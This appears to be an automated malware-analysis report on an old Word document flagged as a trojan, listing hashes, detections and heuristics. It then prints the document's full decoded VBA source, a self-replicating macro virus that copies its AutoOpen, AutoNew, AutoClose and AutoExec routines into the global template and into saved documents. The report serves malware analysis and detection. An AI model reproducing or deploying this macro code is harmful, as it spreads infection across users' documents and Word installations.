Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1c20b1eb305c408…

MALICIOUS

Office (OLE)

41.0 KB Created: 1999-10-14 16:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7631e1acd74cfb132add48db8b108c48 SHA-1: d417820fbc45a1554a832b10e44b3ac8fbaf50bd SHA-256: b1c20b1eb305c408b96e53030d7693ff689aa4095bf98fb7f702f8d4df0e44a0
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoOpen macro attempts to copy itself and other macros (TZ, AutoNew, AutoClose, AutoExec) to the global template, which is a common persistence mechanism. ClamAV detections further confirm its malicious nature. The specific family is not identifiable from the provided evidence.

Heuristics 5

  • ClamAV: Win.Trojan.DelTree-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.DelTree-7
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3541 bytes
SHA-256: 8712f5252892fd8af25dd9a70e569db60e04fa6e925bd2f65c1beb7456485ccf
Detection
ClamAV: Legacy.Trojan.Agent-656
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish2

For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":TZ", "Global:TZ"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec"
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
End If

Finish2:
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "TZ"

Attribute VB_Name = "AutoExec"

Public Sub MAIN()

WordBasic.Call "AutoOpen"

End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "TZ" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
    WordBasic.MacroCopy "Global:TZ", WordBasic.[FileName$]() + ":TZ"
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec"
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew"
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose"
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.